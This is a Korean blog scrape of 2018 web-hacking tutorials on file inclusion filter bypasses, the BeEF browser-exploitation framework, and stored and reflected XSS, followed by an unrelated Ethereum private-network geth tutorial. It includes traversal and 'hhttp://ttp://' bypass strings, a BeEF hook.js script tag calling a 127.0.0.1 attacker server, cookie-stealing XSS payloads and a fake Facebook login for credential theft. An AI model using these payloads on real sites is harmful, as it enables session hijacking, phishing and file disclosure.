(악의적인 행위의 책임은 사용자 본인에게 있습니다.)

File Inclusion취약점이란 PHP로 이루어진 웹페이지에서 파라미터 값을 정확하게 검사하지 않는 경우에 발생한다.

일반적으로 RFI(Remote File Inclusion)와 LFI(Local File Inclusion)로 나뉜다.

RFI는 공격자 서버에 존재하는 파일을 가져와 공격을 하는 기법이며,

LFI는 공격 대상 서버의 내부에 존재하는 파일을 이용하여 공격하는 방법이다.


다음 예제를 보자.

위와같이 한 페이지에서 파일을 page의 파라미터로 넘겨줌으로써 다른 페이지로 이동하는 예제가 있다고 생각해보자.

그렇다면 page의  /etc/passwd와 같은 경로를 주게되면 대상 서버의 존재하는 패스워드 파일을 읽을 수 있으며

공격자의 서버에 존재하는 파일 또한 include 시켜 공격을 시도할 수 있다.

(공격자의 서버의 ip는 127.0.0.1이라고 가정한다.)

하지만 위의 방법처럼 쉽게 공격이 성공하지 못할 경우가 있다. 

다음의 코드를 보자.

이 코드를 보면 위에서 사용했던 방법이 차단되었음을 볼수있다.

http://와 https://를 지워줌으로써 RFI를 공격을 방어하였으며, ../와 ..\를 통하여 LFI공격을 차단하였다.

하지만 코드를 자세히 보면 str_replace함수가 해당 문자열을 검사하여 한번만 제거해주기 때문에 

hhttp://ttp:// 와 같은 명령어를 넣어주면 가운데의 http://가 사라지면서 남은 문자열이 http://가 완성이 된다.

또한 ..././와 같은 방법으로도 이전 디렉터리로 이동해서 원하는 파일을 실행시킬수도 있다. 

이러한 공격 방법을 Path Traversal이라고 한다.


또 다음의 코드를 보자

이 코드를 보면 파일 이름이 file~~이 존재하거나 include.php가 아니면 에러를 출력하게 해놨다.

fnmatch함수를 자세히 알아보면 첫번째 파라미터값이 두번째 파라미터에 속해있기만 하면 참을 리턴하기 때문에 

처음에 시작을 file로 시작하고 위에서 시도해봤던 Path Traversal를 이용해서 공격을 성공 시킬 수 있다.

File Inclusion 공격에 대비하기 위해서는 다음과 같이 코드를 작성해야한다.

현재 페이지에서 불러들일 수 있는 파일이름을 정확하게 명시하여 그 이외에 모든 경우를 차단하는 것이 안전하다.


'WebHacking' 카테고리의 다른 글

BeEF 사용법  (0) 2018.07.29
Stored XSS 공격  (0) 2018.07.29
Reflected XSS 공격  (0) 2018.07.29
CSRF  (0) 2018.07.28
Command Injection  (0) 2018.07.28


(악의적인 행위의 책임은 사용자 본인에게 있습니다.)


BeEF는 Browser Exploit Framework의 약자로써 사용자 PC의 정보수집부터 공격을 할수있는 도구로써

XSS공격을 할때 유용하게 사용할수있는 프레임 워크이다

아이콘은 소 모양으로 생겼으며 이 프로그램을 시작하면 다음과 같은 콘솔창이 생기며 웹브라우져가 켜진다.


아이디와 비밀번호는 beef이며 로그인을 하게되면 왼쪽창에서 다음과 같은 디렉터리를 확인할 수 있다.

처음에는 online과 offline에 아무것도 없겠지만 만약에 XSS 공격을 받은 대상이 있다면 나타날 것이다.

위의 콘솔을 보면 hook.js파일을 사용하라고 나오기 때문에 저 스크립트를 XSS 공격에 취약한 부분에 삽입을 하게되면

공격을 성공하게 된다.(<script src="http://127.0.0.1:3000/hook.js"></script>)


공격을 성공하면 beef의 detail탭에서 다음과 같은 다양한 정보들을 보여준다.


또한 beef에서는 온라인되어져있는 클라이언트에 대해서 각종 공격을 할 수 있다.

Commands -> Social Engineering -> Pretty Theft 를 선택해보면 

pretty기능 페이스북과 같은 소셜네트워크 사이트의 로그인페이지를 비슷하게 만들어서 띄어주며 사용자가 페이스북에

아이디 비밀번호를 입력을 했을 경우에 이 정보를 가로채는데 사용된다.


위의 화면에서 실행을 하게 되었을 떄 다음의 그림처럼 페이스북 로그인 페이지가 사용자에게 뜨게 된다.

만약에 백그라운드로 페이스북을 사용하고 있는데 저런 팝업창이 뜨게된다면 세션이 만료된 줄 알고 아이디 패스워드를

입력하게 되면 바로 계정정보가 공격을 당하게 되는 것이다.

이메일과 패스워드를 입력하면 위와 같이 계정정보가 바로 공격자에게 넘어가는 것을 확인할 수 있다.









'WebHacking' 카테고리의 다른 글

File Inclusion 공격  (0) 2018.07.31
Stored XSS 공격  (0) 2018.07.29
Reflected XSS 공격  (0) 2018.07.29
CSRF  (0) 2018.07.28
Command Injection  (0) 2018.07.28

Stored XSS 란 공격 스크립트를 게시판(서버)과 같은 곳에 삽입하여 사용자가 해당 페이지를 클릭하는 순간 

스크립트가 실행되도록 하는 방법이다. Reflected XSS와는 다 한번 삽입이 성공하면 그 게시판을 사용하는 모든 사용자의

세션아이디를 탈취할 수 있으므로 더욱 큰 피해를 줄 수 있는 기법이다.





'WebHacking' 카테고리의 다른 글

File Inclusion 공격  (0) 2018.07.31
BeEF 사용법  (0) 2018.07.29
Reflected XSS 공격  (0) 2018.07.29
CSRF  (0) 2018.07.28
Command Injection  (0) 2018.07.28

Reflected XSS 공격이란 스크립트를 반사하기 때문에 얻어진 이름이다

이 공격의 순서를 보면 처음으로 해커가 한 사용자에게 이메일등으로 피싱을 시도한다.

이 이메일에는 세션쿠키와 같은 정보들을 빼갈수 있는 스크립트를 심어둔다.

이 상황에서 사용자가 이 링크를 클릭하게 되면 스크립트 코드가 삽입된 요청이 전송되게 되고 

이떄 웹서버는 다시 이 스크립트를 웹브라우저에 반사시키고 이 코드가 실행되면서 

해커가 세션쿠키를 얻어 사용자 권한으로 접근이 가능하게 된다.


다음은 XSS 공격을 위한 예제이다

다음과 같이 alice라고 입력을 하면 hello alice 라고 결과가 나오게 된다. 

내가 입력한 값을 그대로 출력해주기 때문에 여기에 <script>alert(1)</script> 라고 적어주게 되면 결과는 다음과 같다

<script>alert(document.cookie)</script> 이러한 인풋을 주게되면 세션ID 또한 접근이 가능하게 된다.

이러한 결과가 나오게 되면 XSS 공격이 가능하다는 것을 알려준다. 그렇다면 이 다음으로는 피싱을 이용해야한다.

다시 alice를 입력하고 주소창을 보면 name의 값으로 alice가 전달된다는 것을 알 수 있다.


이를 이용하여 다음과 같이 피싱메일을 만들어서 해당 사용자의 세션 ID값을 얻어낼 수 있다. 











'WebHacking' 카테고리의 다른 글

File Inclusion 공격  (0) 2018.07.31
BeEF 사용법  (0) 2018.07.29
Stored XSS 공격  (0) 2018.07.29
CSRF  (0) 2018.07.28
Command Injection  (0) 2018.07.28

이번에는 프라이빗 네트워크를 구축하는 실습을 해 볼 예정이다.

프라이빗 네트워크를 구성하기 위해서는 기본적으로 갖추어야 할 사항들이 있다.

동일한 제네시스 블록, 동일한 네트워크 번호, 노드 탐색에 힌트가 되는 부트스트랩 노드이다.

따라서 처음으로는 제네시스 블록을 생성해준다.(파일 이름은 genesis.json으로 해준다.)

config는 geth1.6 이전 버전에서 접속 시 발생하는 문제를 해결하기 위한 설정이다.

difficulty는 nonce값을 찾기 위해 마이닝 계산 시의 목표값이다. 난이도가 높을수록 유효한 블록을 찾기위해

채굴자는 더 많은 시간동안 많은 계산을 해야한다.

gasLimit은 블록에서 소비되는 가스의 최대치를 나타낸다.

alloc은 마이닝을 하지 않아도 특정 어카운트에 지정된 양의 이더를 미리 할당해 준다.


이렇게 제네시스 블록을 생성해준 뒤 geth --datadir "생성할 디렉터리 이름" init genesis.json 명령어를 입력하면

최초 블록이 생성된다.

이후에 geth --datadir "생성된 디렉터리 이름" --networkid 15 console 명령어를 입력하면 해당 네트워크로 접속한다


접속을 했으면 personal.newAccount()라는 함수로 계정을 만들어 줄 수 있다.


이렇게 두개의 어카운트를 만들어 준 뒤 제네시스 파일의 alloc에 해당 어카운트에 이더를 할당해 줄 수 있다.

"alloc": {

"0x41d8313726245f8b23237a0e9a15236470e4dd9c":{"balance": "500000000000000000000"},

"0x21a0795791e7598dbeff5e85c58f18e62dabcc9c":{"balance": "200000000000000000000"}

}

하지만 이 과정에서 만들어졌던 디렉토리에서 keystore디렉터리를 제외하고 모든 디렉터리를 지워주어야 한다.

다 지워준 뒤 새로 만들어진 제네시스파일로 다시 최초 블록을 만들어주고 난 뒤 해당 어카운트의 이더를 확인해보면
다음과 같다

다음으로 부트스트랩 노드를 구성해야 하지만 작은 규모의 프라이빗 네트워크 환경에서는 일반적인 방법보다는 
Geth 클라이언트가 부트스트랩 노드 역할을 하고 다른 노드가 해당 Geth 노드에 항상 연결되도록 하는 방식을
사용하는 것이 더욱 효과적이다. 따라서 이러한 방법으로 노드들을 연결 시켜줄 것이다.

위와 같은 방식으로 두개의 노드를 더 만들어 준 뒤에 세개의 노드를 실행시켜본다.
(한 대의 호스트에서 구현할 경우는 --datadir, --port --rpc를 달리해야 한다. 단, geth는 IPC-RPC가 기본으로 enable이므로
--ipcdisable 옵션을 주어 disable 시킨다.)


다음과 같이 총 세대의 노드를 실행시켰다.


여기서 부트노드에서 enode URI를 확인한 뒤에 다른 노드에서 연결시켜주어야 한다. 부드노드에서 admin.nodeInfo.enode 명령어를 입력하면 enode URI가 출력된다.

여기서 하나의 호스트에서 연결하는 상황이라면 아래의 IP주소창에 [::]을 넣어주면 연결이 될것이고, 그런 상황이 아니라면 부트 노드의 IP주소를 넣어주면 된다


두개의 노드에서 부트노드에 연결이 잘 되었으면 다음과 같이 net.peerCount의 값이 2로 나와야한다.


잘 연결이 되었으면 부트노드에서 다른 노드의 어카운트로 송금을 할 수 있다.

송금을 하기 위해서는 해당 어카운트의 lock을 풀어줘야 하므로 먼저 unlock함수를 통해 lock을 해지해준 뒤에 

sendTransaction 함수로 원하는 이더를 송금시켜주면 된다.

하지만 sendTransaction 함수가 에러없이 실행되었다 하더라도 바로 어카운트에 입금이 안되었다는 것을 확인할 수 있다. 
그 이유는 트랜잭션이 아직 pending 되어있기 때문이다. 이를 확인하는 방법은 다음 명령어와 같다.

 pending되어있는 트랜잭션을 처리해줄 방법은 mining이다.
따라서 miner가 miner.start(1)함수를 실행시켜 주어야 해당 트랜잭션이 완전하게 처리가 되고 해당 계정으로 송금이 이루어 지는것을 확인할 수 있다.



References

박재현,오재훈,박혜영. "코어 이더리움 프로그래밍" 

'Ethereum' 카테고리의 다른 글

스마트 컨트랙트  (0) 2018.07.28
이더리움 플랫폼 구성  (1) 2018.07.28

+ Recent posts